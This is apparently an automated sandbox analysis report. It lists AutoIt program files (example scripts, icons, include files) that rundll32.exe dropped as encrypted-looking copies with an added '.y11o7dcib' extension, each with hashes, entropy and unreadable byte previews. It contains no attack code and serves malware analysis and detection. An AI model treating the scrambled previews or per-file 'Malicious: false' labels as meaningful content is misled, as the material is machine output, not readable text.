SHA-512:	5AED3E42109066DBB93FD258B8CA5D12D94EFC9D374623831E423B0350A3C1F4059FA8B73799D7B11ADF987E343A40C830EFC623D3BBA2FF93D0A4F9F537491F
Malicious:	false
Preview:	....1.......r.V.,..7#).h..k..[.e...<IyX{.M.R$....q..E?...!...mK..1..d.@d...r.:.cZ.:7n....[..q.e..?:n4...k.1p..E.7.vu$..o..od..p.%.@c...u...2..v7n.....S.".7...sdb...P..F....0.m)m..o..o...].+.m+....!.T.1..v.o.....T.\.~..H.ph.^.q.O...T...}?a...!. gK..t.d..E....o.F.1..v"r.E...V.2.1...}..C .2.d...].3.,f....&..E1....,.......G.Y.x%..7w....H7.X.e...>pyXY.Z.N8....0.v:j....,xG.1..1.......r.y.x..9;j.E...R.%. ...2g-.L.^.^?....:.$.p..g..Z.1.(.@G..g.E.5..3v~.....I.\.L...2l-\D.Q.L......c.k...&..."..N.../.....^.n..?...^.).A..$...H.xl.].Z..k..X.,.w,v..o..#f.....+..Q..u.G.x..v%u.....B.q.+..;ecX\.V..k.._.&.qos..o..ox[..x..f.m+....!._.;..">........q.+...! y...W..;..].+.,<a...'..'oB..w.!..N....f.X.x.."#h.E...O.".H..SsIkX..P..<....3.g$a..k...E...&..0..O....u.C.=Z..7w.....O.2.,..eY.D...V.U8..B.b. .@......!.$..\.........R.d..7...[.I. O.>.1..HqOFV..}.^j..=.V.V*p..B...dJ....N.[...O.C.(..[\.....CT.%.5..F6xhZ..5.1B..g.6.$)k...'...eZ.p..0.@C...d.V.,..3x:.....V.".+...s"C.

C:\Program Files (x86)\autoit3\Examples\notepad2.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1862
Entropy (8bit):	7.657576352622776
Encrypted:	false
SSDEEP:	48:z1CoQzKNKs64sMX6Ybwax3/LJiI+Zpyw+HIS:JDQMKr4sMKMbsbrUIS
MD5:	04903614F05011E89B898F388AFFDD01
SHA1:	885AB67267F8DB4CC79ABAD1A4CCE26344C921DF
SHA-256:	69107E67F70A94BDF0818071C4DDDA024D84C0B5CA897B3E03E61116F90DAF68
SHA-512:	F41BF877A4494D0AAD4DB0762260F3512C0439C58ED4C22083B6B12026B9F66DE4A30700D3D4ABC7BDAF0EC58F121694885E0E1222784877F0238FA91BE6DF59
Malicious:	false
Preview:	p....*.P.mUp.q..q`v?2..c.....z.v...@..).1...T...v.l...kw..?v.8i.Z......?qs.q../%A?..;.c...9P.v...F..q..,....j.1.3..k...j7B.<....>...4xq.v.7~j.s..}.d..Tm..$....}.7...6.....8...._..j7B}s.6..0.8.j..T"..m}ues..3.e..S#}.m..`.g.t6..^.J.i.(...8....9x.8s......[.qbw.l..j}qb}..f.1..U\|P.3..[.l.t...L...2.\|...8.....r.9:..../.V.0z.e9..?wmp!..).c..7"}.[...W.y.1P..1.S.1.V..."U../sCPY.p..1....n~.r..7=..Z....~..I9..3...J..}.t.....C.e.?...?...9rB<s.......#yr.v..v`m1'..}.}...i..7..J..z. X......6.9.......:7.4?.Z..-.X.#s?.g..vxv8^....r...=..8..]..).'...C.i.1......d...XN}w.8....a..[P+C.34'P&....1..\t..3...A.`.<X..W...i.~...8...#g.}$...-.[..yk.r..?`\|a6.3.b..X9......A..}.1..N._.e....$N..$cB)<......A.s?.e...$4Fy6..}.y..Hj..q...A..l.t...O.N.5.3...k...jc.8s......\.46y.p..lsG~+.8.d...o..#.."..2.....u...2./..."X..j?F...5......%~z."..v`%e;..8.p..Q\|P.#..F...]1....j.6.9..k....7656.w..V.F..ygG&..@G\B.....U...9R.#..[..)..3....R.d.u...Bi..8yoWZ....9.?.[.$OP..?Zje6..9....HwX.8.._.'

C:\Program Files (x86)\autoit3\Extras\_ReadMe_.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	491
Entropy (8bit):	6.605830176605986
Encrypted:	false
SSDEEP:	12:2GYuCqL8Celo1jUpDkrbhn9WJ4uWaFKOMS:ZYu8CaJkrN9WCQcS
MD5:	5ADD28E75F05191EB3282A1C5B348E02
SHA1:	CB9558E9F8BE1A42765CDECDEEBF5A2143DD0010
SHA-256:	DCDBAC955FFECBD68DE3B83B3BE6F83DCE46642346ABE632E97CEF6ACD2A2235
SHA-512:	9B9398FF613076DCB2D2A0A5C56FDD3C7DD6C524FE2101E4AF80D928C54AF6D43949FC6AB06FC9F73E9DFC683CCFA17D39E82C89BA0752EE993710047152A293
Malicious:	false
Preview:	..j.....j.O.3../.Pc5...&.w.... ..?6..8.s.....g.{..f5.kz..Q!..c=.l.D.kHM.C.1..6..`9...Z.w....{6..?7..Y.i.}...g.6..zq.wkP.J&.Cve been kindly supplied by users of AutoIt.........D.>.......k.(i.......g.F....1.G...5T.....}.._u...<2..Q....7...t.......v......./.,`.F[.-.#j....@L.U{e.....Tg1....Q.....{.i..sG....<..K.Y....Bm...?.].`_..G..5......%.Q....`..F...+....\l!.....Xd.E/.7..............................................................................................29yp10v5m8k.

C:\Program Files (x86)\autoit3\Icons\MyAutoIt3_Blue.ico.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7720
Entropy (8bit):	6.027323863489949
Encrypted:	false
SSDEEP:	96:hVIFFOcJYtowJWDVOPFAxMfvUEkyvgPNOpTHNZSFpSmf//bY5LHS:8FOcJ+SDVOPqEJ4lQTHNQFgLzS
MD5:	D6BCC3D902FB6F597227D1EB483C4BC6
SHA1:	7F4CEA1EB199FD30D9A643DFB071B65190044915
SHA-256:	7A8F7F23937A07ECF4D2A7B4C8D5CB0970662D587D54BC8EC8003A7F87FD048C
SHA-512:	5BEBEBA71C70488243BD089EE7521135E38931545862421500D21A8D8FD328DD84FAF2FEAD8780082264E87ECD87A4043FD8F98ADDCC1687707A72D5B42DBC1B
Malicious:	false
Preview:	jx..e..DX.Y..."..X,.;b.._F.a[u...d+H.wy...!.&..B9..5.!...Jw............................................................................................................................???.CC)x..".k1.......X...bk"2_.\|.[.)5..........o..)LB.0T5........XZ..................hhh.XXX.\\\.ZZZ..................v...c...]...b...t...................\|\|\|.GGG..............g...e.........LL&x..6.}'......EX.I.b.06_.\.[.91.V.....L....,IB.u.5..=.Y...R`........h...d..........._...........g...........y...i...^...p...............................b..........^..............r...xF~......s..'.HX.}eb-oC_.?.[.I+...!....<..J.HB./D5....^...kf....n......................j.................\...a..................................e.......................c............xU^;......E.TV.X...b.8._.O.[. ..i.....`..)..So.B..Z5..3.M...ZU........n....................................................\|................................................}...x....x0n....-..7..`b.X.&.b.I*_G.i[....%H.WY

C:\Program Files (x86)\autoit3\Icons\MyAutoIt3_Green.ico.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7720
Entropy (8bit):	6.041430380857057
Encrypted:	false
SSDEEP:	96:LTxJCEoXlLTF9i0Nz5vIH2VLKU1dG3W1bUedac5AlLdS2//ZL9hJS:Yv9i0NzFUU1dtbUmjy/S4hJS
MD5:	ACB5010A4A5BF7771CF4437007473102
SHA1:	9C1B3B677C6CA9027E26FC5C9B372B541252D58C
SHA-256:	683249E63FF349ADC726083F0E2C9119337A7BFBF7A2E3CBFEAC440BCEFD8DCD
SHA-512:	816DFADE2E55AB81BD8E50F108E3E3823AC43236E08C1AF9CA66D36076FE5432A8449677A26E0697D9B58CB3F560B57E6EFB6FEB9A927D49EF5ED97E49453828
Malicious:	false
Preview:	..8.s&...v.7%...%.Wd..+j.d....3......3.J...qH.".FS...A...{I..........................................................................................................................???.CC...\|.sS...E8.7..8..(.dq3.+.q.F'.3....^.......L.."h....CaA.#L.................hhh.XXX.\\\.ZZZ..................v.{.c.w.].v.].{.b...t...................\|\|\|.GGG............~.g.}.e.........LL...h.sE..._".7.M...r.diR.+.x.....3....0w...}~.V.."..v<.A,.m...z...........h.\|.d.........w._...........g...............y...i.w.^...p.............................z.a.z.b........w.^.......;..ys.._..7..4..z.d1rJ+.7...-.3..o.?~..4X.Y.."Y...N`(AX.......v.^...............n..........................j...............v.\.y.a...................................}.e............... .J..smT...r7L......d.yr+.n..\|A)3..y.?q...(~.S.."..._x:Ab~...h............y.`...........n.........z........x.`.........................n..............\|........................w._.......\|s.5..t7D.y.oj2d.zx+.i.s;.3..t.J!

C:\Program Files (x86)\autoit3\Icons\MyAutoIt3_Red.ico.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7720
Entropy (8bit):	6.052843817305022
Encrypted:	false
SSDEEP:	96:ucnju6/xu9P/ICAtGDloW6jxuGvnTs8rTk0YsXeeUCXU3Ygy//YgS:uA3/xqP/IVE4F/Ts+/OeUT3Y7S
MD5:	E2035AAB31F146FB09A1AD82947691DF
SHA1:	59EE1FBC65FF6347CF005971993A821AE4C6BF13
SHA-256:	39437733A5A7D55ED8780FA357C01D812AD8A4260E7CA1B56C445927577A701D
SHA-512:	57D8B73B111531CF4F1627A0472C27D47AF183A66D3AD6581ABEA495FD67197744255D6679077EF90ABE445331FBCCEA51D10FB1FEC2A1542D9C03F161570183
Malicious:	false
Preview:	I..5u.....m].ld.....Z:'.....j.pQ.._.C-.b..D.*:].?....#{]............................................................................................................................???.CC....ru....#..E...rv..R.'....g.......\|.-.$..y..:...V.4#....$Q..............hhh.XXX.\\\.ZZZ.................wi..eU.._N..dT..ug......................\|\|\|.GGG.............hY..fV..............LL....fu....9..8..(,H.W..'\|Sd.d6..F.B..g.-#...\|..:.T..r!.#.......vh..........iZ.........aP..........iY..............zm..k\..`P..rc..........gW..............................cS..cS..........`O.....u{+..<....^...2.t6.'..6..g...... ..-s......:.p...#...k...........z......o`..........................................^M..bR.......}..j[...v......................gW..............v.....R7.ur0.......z...:.q..'..;.#O..9....U.-N....M.:q...-d.#..../Y...\|..rc..........pa..................bQ..........aQ.......................~..}p...................w......................gV..dS..e..u.==......X.!"!....'.......J.C.4

C:\Program Files (x86)\autoit3\Icons\MyAutoIt3_Yellow.ico.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7720
Entropy (8bit):	5.963181226708516
Encrypted:	false
SSDEEP:	96:QCPBC//GsZ5tkmQRL/JGkvQ5y8HZuifDPe3VJTouuu0/Dyyg+6fcuQFqbvPGR//8:mG4QGsQ5Fuifje3XCrWYqbXxOS
MD5:	D6F8B1289A0364CFEF94A35F44F4BCA9
SHA1:	F20B30E5BD2C367C542D834C2CE9828F3C8AE76C
SHA-256:	679A753285B4126C6888BC21BEC6134913AC10DCA0CD6C0ACE9BA714FE64B754
SHA-512:	AA5CF13CE7A4A43471E81CD11E546BC3361AFF5F44923A8B06B4FC652FA52BCF5FFA96F15E112F1035108A525E73862AE9F1BE728EBBFB261FF8164A4EDFE17C
Malicious:	false
Preview:	..}q.z1.}.{..X..Bl..V^4,X!...O".....W......tQ...].D.A.b....m...........................................................................................................................???.CC..85.zDb8.4...qTZB._.V...X........rb.W.S7.i.:Q.%...}..o..QX.._..............hhh.XXX.\\\.ZZZ.................V...>...7...6...=...S...~...................\|\|\|.GGG.............B...@...........LL..,!.zRt.......B...V...X.l....R.=%.W.H,..F.Q. ..8..K...n..Y......D...?...........9...........C...>.......Z...F...8...O...........................w.......;...<...........y...........Q...r._....z....&I.+86B.W.V...Xen...._.V+.W.4Q.W..Q.V..st..]...`..T..t...............S...........................5.......l...E.......d...........n...................e.......=...................C.W.&..z@..$K...B.Z.V...X.l....U....W..l.P..Q.T...B..!Q..PG..Hd..z...........:...........L.......}...............}...............9...............L.......m...]...............v...f.............f../z....)F.X1>B3i.V/..X._..y.j....W11

C:\Program Files (x86)\autoit3\Icons\au3.ico.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	31840
Entropy (8bit):	6.823930106650891
Encrypted:	false
SSDEEP:	384:5HjWGTSl8w+D6hVtqi9rVQeMhvvdxPV597JYDws5rhmqJhoFaJlEluPb9nv/gH/8:lH7xAtt9RPk9xV78XXoFaJlEup/s/Aj
MD5:	1696F51C78A654663B82435ABAFCF0BA
SHA1:	6D7EAD71056D07873F02E9084225DC6D9FC8A14C
SHA-256:	E3B808DFDA9D395552AD593845131071FD2B86A0DE87E856FC5B8721EABF46E8
SHA-512:	D48001A6CAE4C3C79E122B73905F337F4A31A0956A37D526EFA8B53375D0D3413B39635CD941F06E4B05A655518F81EA9AA154B36CB3A5C4EEE64891CF11221C
Malicious:	false
Preview:	.......5b..TA...o.......t....g!3..4..8.^.e....6......,...^...F......................................................... .....N... ......0....... ...........!.. ...........#.. .... ..........b..TA...o.#....t.....`!3....&.8.^.eH...>.......,.....~U..(....... ...........@...............................C ..N ..!P..v...3H..XP../\..&...n.......5...................<...........<...?&b.)W@.4.o....i..t...._e!3......8!^.e..... ......=...................................................................................................p..t....wpw.tp..xuwvww....v.wHp...^.....].."7.....Pi....L......Y..(..,..^.be.T.T2..j\|..yV.6...w.....x............p......w.<........................................................a......(....... ................................%b..T...E.o(.N.i..t......!3.n%...m8!..e......./.GR..M.5.@BC.KKK.NPQ.QPP.VY[.[[[.kV@.w_G.t^J.ubO.kaW.``a.iii.pje.npr.ttu.vvv.twz.uxz.xyz..`/..a8..j=..r<..aC..eA..qJ..qV..rP..uP..wE..~L...L.<T..d,$.5..o.c..P..t3?....F3./....

C:\Program Files (x86)\autoit3\Icons\au3script_v10.ico.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	71860
Entropy (8bit):	7.620126521715743
Encrypted:	false
SSDEEP:	1536:UZ5N4+Js1IQ605jjQWZxLltOmhpkzPr7EbU0M:Ud0B8ixLltbhpo6w
MD5:	8909B6672054970D2654EC36E0921CC7
SHA1:	5D48C21C244A3D206B3006995132887C74E3B3D4
SHA-256:	E8069F8F68F6E37BDAF1A30B0003FA3D151B281DD10F4552E4D1ECAE5205BDFA
SHA-512:	4C61C68292D0904EB2C844D11A75C41C9A98D42E7D9988D98912D5F31A6AD95995CA75C02E2EC2C8391C5BF5504C4272AAEA755856E4D171774459B2894B7DD7
Malicious:	false
Preview:	-"V..n...B..<.&.6&..T....E..3.]H..*~.......[..xQ.K.tC....`X........ ......................h...n"........ .....'..00.... ..%...... .... .....j......... .h.......(...0...`.................-"W..n.3.B..8.N.6&...#..E.B..5J..y0.,..)y..u.QPBPtsP....X......................................................................................................................................n.3..F....A^...y.....7..J.e.OT.a....h9J...B.ts..0?../].wwpww...............wwwx.w.ww..............www......ww............www..wgwx..wx...........ww.wFgvvGg..w...........wx.dv\|v.gCx.......n.3.5..Ln)..XQ...TM...7..J.\.........N....B.ts...Ot.>\|.w\|vFRG.x.........x.`dvgww.\|vd%xx........xx...GdlvGfE$.8.........wx..A.A......`Xw.........xv...`......pg...........t`...x......C..]..n.4i..0.>.A.?i..F..:..7..Mab...++....q/..2...B.ts.[7.v. ...Cx..du...........tvwH.qg...w.b..........xv\|ww...x.v~vW...........tw~tx.tx.Hw\|gx........x.wgx...x...wvwx........x.wg\|.....w...wx....n.3f.......on,.T.....7..J.b...+$q

C:\Program Files (x86)\autoit3\Icons\au3script_v11.ico.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	41601
Entropy (8bit):	6.999004710507411
Encrypted:	false
SSDEEP:	768:Py6O04xHuMa+0iPUow+WNwm0acumEeLphz4aI7c+J1e/1:n/4MMa+06Yw/2f+/1
MD5:	B49CDC42C7E085A4779E3471ABBB8512
SHA1:	8E44E0D2CAE7B2B143B9A77EE8E7A724BAC0F96D
SHA-256:	3D0B4B926EC6C82F507E455898234626FD360AE29F24B93EED2C70AF8847E34E
SHA-512:	AC23E374A1CFBE878C11CFAA3F5409AC34A62E3082030652770300A202318ECF44A3F8D64605197B06EDECE93EE91E6A5F94FF3A26AD1350DA7114B42E88E3C2
Malicious:	false
Preview:	1.,o4..w...c.~...!8.....O=.@..^<.`sg.h.... .0...........T.....E.. ..........WJ.. ..........?M.. .... ......U..00......h....f..00...........l..00.... ..%...{...PNG........IHDR..........1.-3LWbw......[8.J.X..v..5.2.Bs.k..'yS.........Qw....K;;.#.X..36kk6cc.ck.=;uPGO..lo..H.R......F@.%@.B.M..?.?...G(23.#".#.}f........}....H."E..)R.H."E..)R.H."E..)R.H."E..)R.H."E..)R.H...{...?9..&W.].W6.d....Q...yt..w..(.........]}.9..A~....;..Z........7.}.....?..>.......g.y....O.....>z...xU...).R.p..V.\..'NH..$Q...-..Dky.oG.2........g.`....../..j.........'....k+m.5_'.SoW.v......*9>....Z.icqB9...2...a[@R.Q.{Qe..5....4..v..~.._H...p7..H......x..1!......$..@....\|.....Vl.Y.......i..;.%...."I@...2..... .`.U......q.(i...N..s~7.p....%.H..q.X\%.k.i\|.R...h.\|...@?.".......Q..j\| .;.8wyx....dG.....`.8z...u..~.8.>.s...]......tf.k.....g..f..p..\af...3.c.......T..Lf....H....G..},.e...~.?.......\|...${:..^....\......$..(.@..-.u.6K..........X....iQ.o.D;....+..U9...[.O.[.\.

C:\Program Files (x86)\autoit3\Icons\au3script_v9.ico.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	25528
Entropy (8bit):	6.643254134153233
Encrypted:	false
SSDEEP:	384:SNTRORMVwYuOkTyK+OP2V+t5oDCpJYerczXY8Fc:iORPYaTyrOBXpJJIY8Fc
MD5:	225F41B7BF47FC9F79B08A9704691CAC
SHA1:	8E0024997440A68F3E92D90059E01DEBBD6093D5
SHA-256:	76E0B73D8C306CC7F3847F02782CAF42461AF67C0B469D2CC1DEC87FAB0D1BA6
SHA-512:	3FB9301E5D13AB3304FC71017DB6C1CDC8DAA19164E55968BD1C78C0503FA95E4D03A644C7744218463241207D56535451DE478B86C08F20A62C067F625CF773
Malicious:	false
Preview:	E.$.2.m.....`..uF...[c...`..;..`)]+...$.I...5..w.T... #..N;..........(....?..........h....@.. .... .....FF.. ...........V.. ...........Y..(...0...`..... ......%....................E.$.2(]....xE...F...ks...`..;..`)m....$.I[......g.T...H'................................................................................................................................E.$.2(]....xE...F...ks...`..;..`)m....$.I[......g.T...H'................................................................................................................................E.$.2(]....xE...F...ks...........}...B.=...w..P..a.....Af.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff...........................E.$.2(]....xE...F..8..qH..3...w.;..@..0.......A.P>5U.2...uR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..NN..NN..NN.fff...........................E.$.2(]....xE...F..8..q7.s.@.I......

C:\Program Files (x86)\autoit3\Icons\filetype-blank.ico.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	48363
Entropy (8bit):	5.787520936222141
Encrypted:	false
SSDEEP:	384:UPt/sIW3PjWosvuu+V6gAiyZQb6fe6fNc157qQwFCRkIYJxDvO5p8x1Z:WtXW3avIJAiyZQO5lW52QjwJNG5pc
MD5:	8894D3BDD90FFF552074BA531256B4A1
SHA1:	13B4D8DC8C1141E5C1AF8F4649331A73D0223230
SHA-256:	A74F02AEB626F9A62EFD34B76B5E4E35F06B61FB281B30129BA53D8702724C20
SHA-512:	5C6B77BC7F6210D7BC80352D5664A81B805ABE8F6FCB466D6B82F9B303C1F548CF266E9E185FDF0AC25ABAF4690EB8D1CAD25B534C27CD65F12C40CB0358079D
Malicious:	false
Preview:	...R...^..B@#...6.iP:LD....{....O....'?B...s..6.mO~....}.[.2....{.. .... .....a......... ............... ............... .h...I....PNG........IHDR.............\r.f...jIDATx.........R.@~.(.......G.h?K2c..#"#.t..U.o...Zt...0...H>&:"...<.t..].q..{g..9...'.j7..R...!.C. .ch..t.........14.B:..@H........!.C. .ch..t.........14.B:.v.b....O....{...u....Y.....R6...r.[N...9.C......g..C.'.+...-..Rgd.e".$.A.?.E6.^.:U.&..Id.g.....J.......{..u$..~............\|...;P.......B;.......}..w..0..F.E.9..cO............{H.@.s.k..."L......i.....R.=}z-N...}....i.&.`..Z.6.FI.....l...(.$9...>.].x..Qv.2.x.[.{....$&.....j...r3.Re._.$.m.2.../.=..d.........9~ ..7&"w...nw......+....J.K&.[.u.b...<.s........h... .1..;.......WWW...L.&.B..@l36...8q.7o.....2.84:.*.D..3.@..}:..].>.r..s..U...r...&".'../.._"6.B...1.}.Y.{."..a...S..c....i..@..<..........oM.K...?..q..o.....5......~.+....g......8'@......,um..OR8<;@..... -....W.p....k...4.b..y..QD.T.c...G..(C...y..eA."._x....-..Y}.=.

C:\Program Files (x86)\autoit3\Include\APIComConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	7.2915839237550815
Encrypted:	false
SSDEEP:	24:34c2922zMvmFpAdHD9229G6h2292Pm3eyCQDVjBqVQN22922TvLIEjKGWS:I5xzNnAdHDxrd3esDjqOhxTv0ixWS
MD5:	FEE8EE79076911EB8B9EF1C705493F4C
SHA1:	F249789F1992DB2780895E920B60281CCDCB7EAC
SHA-256:	054B922246B4436FB0D37AF5A2C7F94A8F3843A16D6B770DF5AC5634DBB0FF10
SHA-512:	9922C61BA9DEF7F93B96812A450B99B58EC5C856820A1956FC767B983CBB8C490DE2CF5DEE4F5E86450B237B67DFC66D1FE8AF33B25A33FE28F4395B78B2C44A
Malicious:	false
Preview:	u..{..=4......K..........t].!.U.)K..f.)/..m>......L3.+.(..=_.k..%.Idl.....%.{.....}....t].!.U.)K..f.)/..m>......L3.+.(..=_.k..%.Idl.....%.{...3.`...iN.29.F.:X....zSb..l.....o.b.5..FB.?..y..y7...l...3.`.....=@.yeL._zV..h.'<..~2......i.w.p...L.x..8..>=....#.....K.0....gN.&7\|.^g..E/.4fZ.$#.....Q{.s.5..t.....8..;#....#.....V.h...gN.&7f.C\|..Ow.^b_.Z8......L3.+.(..=_.k..%.Idl.....%.{.....}....t].!.U.)K..f.)/..m>......L3.+.(..=_.k..%.Idl.....%.{.....}....t].!.U.)K..f.)/..m>.....RM.X.A..T1.v..%.Idl.....%.{.....}....t].!.U.)K..f.)/..m>......L3.+.(..=_.k..%.Idl.....%.{.....}....t].!.U.)K..f.)/..m>......{..-.J..n#....w..0%....}.o...U."....'..<3\|'yZ?.t..U@f..M.....5K.6.5..0P.\..w..5q.....8.....p......%.S[zYtP3..{.l"..ZD....2a.e.5..O+....U.8......\.......p....&..p7\|.^g.....]\{..P......'K.I.P..R;.k..`.LT[.....%.{.....}....t].!.U.)K..f.)/..m>......L3.+.(..=_.k..%.Idl.....%.{.....}....t].!.U.)K..f.)/..m>......L3.+.(..=_.=========....,.v....(....!_m.#..0..k.

C:\Program Files (x86)\autoit3\Include\APIConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2062
Entropy (8bit):	7.619828879913122
Encrypted:	false
SSDEEP:	48:iGUeIG0qUsJJbgWRW4vrZ6NntWRSWRCWRmBBKcbo71zS:XUz985E4vd654PrcLoBS
MD5:	C9A238A94EA6FD3AC2F09CF93890ECE6
SHA1:	53AF22F43003DEB0830DE11B9CDB80C176D62CE5
SHA-256:	5FFAD0B4EA371C72CBE8C12544337A9E12B6B4A6AEA39D07490EF8A3C7446ED5
SHA-512:	7F8F9E2115FB96613F5038832C11E6C07625672A0DB7D9DEAB2700019D382C1A453FA18EFBBDC320E6651CD627348B7F8DEF6B76A69502683AA7832B3FD5A086
Malicious:	false
Preview:	..)..jD.!...=H?..H..Y..z.......x.3...X.2T2.Y....h.i^YV........3%..z@D:..Eq......V..{.......y.....W.5.}..H.&Z.e.pOX..~...-...9..`R^/....#G..,kW\..s..de..\.8.6..E. .'.....t.(.rYP..9}..;...)..kbE ...^6A..TRV8f.v..1#..7...8..U4.. ........8..0...?1.9...1...\|NI....D#\......N.....'+..p.~.%.S...=....._W.~.>76U.2>.(...R...\DY....D#\......N.....'+..p.~.%.^.-.......X....2[IE.QW.4.......,`z...%Q6Z..O..T..l...we.6.2...SWc;......C....rNOX.)n.Pa..)..jD.l..<dW..b..F..q.%2.......C.$Zq.....^:.e.h[R..r<.nI..S#..bTN+..6_.]..N..A..k...1t...5....R.aX......B..%.i..{..4.>....j.gSi!...Q,F.@.G.a.<..(2..5......Y.2.2.....YJ...?SR..)9.}I...>..`R^/....#G..,kW\..s..de..t.9....B./. ....!s.b..VI..\|..."...9..`UY`..F.O8..O..@..?...)(..V.2...B.o.&..v..E..g.x_.T.93......+..}.K;..x:a[..M..PL.O...!4..z./....EY .`..q..B..~.y..%.?(.4....$..oO^=....`?..H..Y..z...-)..\.3...X.2T2.Y....h.i^YV..4..;...9..hNi!...Q,F.@.G.a.<..(2..5........*.....X....2[IE.QW.4.......,vC ...C.]..U..A..~..IM.....;.n

C:\Program Files (x86)\autoit3\Include\APIDiagConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3220
Entropy (8bit):	7.763821831673177
Encrypted:	false
SSDEEP:	96:AXLq12WF2LmlHlvjt/jV6aLySi+7yc9k9G/IZ9S:BdlLt/jV6azPdpAfS
MD5:	4A49267B9E5CB7EA685628A46257BFCC
SHA1:	304799E500AF30792C1ABFC292E981FCCD11A452
SHA-256:	B6D87880CF847B56101DCCB2C489497757E45CD4214DA22297D5068F8FB0EA65
SHA-512:	A2CA69AC1B04E9A4F2C0F12916C99009F6EC50C7FB1D2914EEE3748FAA24D5C1840F28346A4222053972A0F24F0B089BA9DEC098BDC0FF3B186FAEAF56ED20F3
Malicious:	false
Preview:	...V2.Ct..........A...Y....D.{y..9.q...... Q..0A....'.".h.......cD.,...t.&....._..!..D.{y..9.q...... Q..0A....'.".h.......cD.,...t.&.....h...u....W.hj...b.b....Y...-?..{.k.u..j....G?.^1...i.n...S.o..]......!..m.".x....+B...G...}.~.0.......~<Iv...!....B.....h....W.h~..k.?]#.....\|...l.....o.z.u].X....s~.Ns...0....R.....o....W.h~..e.$@'......f..0A....'.".h.......cD.,...t.&....._..!..D.{y..9.q...... Q..0A....'.".h.......cD.,...t.&....._..!..D.{y..9.q...... Q...q....Y.Q..k.x.....cD.,...t.&....._..!..D.{y..9.q...... Q..0A....'.".h.......cD.,...t.&....._..!..D.{y..9.q...... Q..0A......$..}.B...p0.JU...;.x...-.....p...._f`..I..}......\...A)...C.]..y......nI.)...C.w.K.!...h...4d....H..~......Y(..^/....b...e......Y1.F}...'.o..~.-...]...)~....W.q.r.....-\...;..v.\.;Y.....z.-xR.....U..t.6...<..I.vt..4.A#....^...y\...U.K..o.y.....&A.!...y.....H.....s....]x....P..l......Q#..^\...*./.e......Z<.K1...:.;...j.2...U...<t....V..h..

C:\Program Files (x86)\autoit3\Include\APIDlgConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11069
Entropy (8bit):	6.744010059485974
Encrypted:	false
SSDEEP:	192:3pNFHjACMjYFirtEAWOi7SqIz/D9GXwXObJJ2kuZclLyjkIfC/S:3pNF0CMjYFirtJriWq4/D98w+bJJ2kuD
MD5:	FBE7565C6F438EC6D2491A789EE7405F
SHA1:	56E3B0F942A3C8E45D8AEC29D3B907FFC3FD4C07
SHA-256:	1CD6EE75057881043C4C99ACD5FA57F29B0C1F1A6576D61FFBF9FC717FF2BAF8
SHA-512:	817FF6B850CDD8129CB13F6B6B54F52B15A1F2D2F43E288FA94392E730D1BCA37563B30EF116EA9A8B6B1EB3BC95E234515369FAF64026EA6AD83A73C1556784
Malicious:	false
Preview:	...;.......L..g\`L}....P.!.xTQ.......J..s.......'i.p.y2 ==================================================================================..; Title .........: WinAPIDlg Constants UDF L...%.......)..oqI>.......J.7........D........\..{3.m.j!3..: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ================..Tj...E..T.{..aA~8.....P.!.xTQ.......J..s.......'i.p.y2 ===============================================....; #CONSTANTS# ===============================================================..Tj...E..T.{..aA~8.....P.!.xTQ.......J..s....8..u6.!..`sst $__DLG_WM_USER = 0x400....; _WinAPI_BrowseForFolderDlg()..Global Const $BIF_BROWSEFILEJUNCTIONS = 0x00010000..Global Const $B...+....>..*.....9.%.....].-.uYa.....Q.W...:.mf..p..M....._OINTER = 0x00002000..Global Const $BIF_BROWSEINCLUDEFILES = 0x00004000..Global Const $BIF_BROWSEINCLUDEURLS = 0x00000080..Global ...#...>..&.....9.Jd.....#.!.u.\......

C:\Program Files (x86)\autoit3\Include\APIErrorsConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	309775
Entropy (8bit):	6.671980411255854
Encrypted:	false
SSDEEP:	6144:Yp+P/jdAIq0qWE/7shfSgjzSVYJB++uuvaC5lNjL:5jdGz7shfSgjzAYJ70C5lN
MD5:	408FA658BEE3374DCEFFFEBD54200AB6
SHA1:	E60231D778AD3C6E3FD119A512DBC4635AF65EA4
SHA-256:	4563DF7DBC0D84B3988B15320540F537388BB54813E3E8881A597CEEE1233569
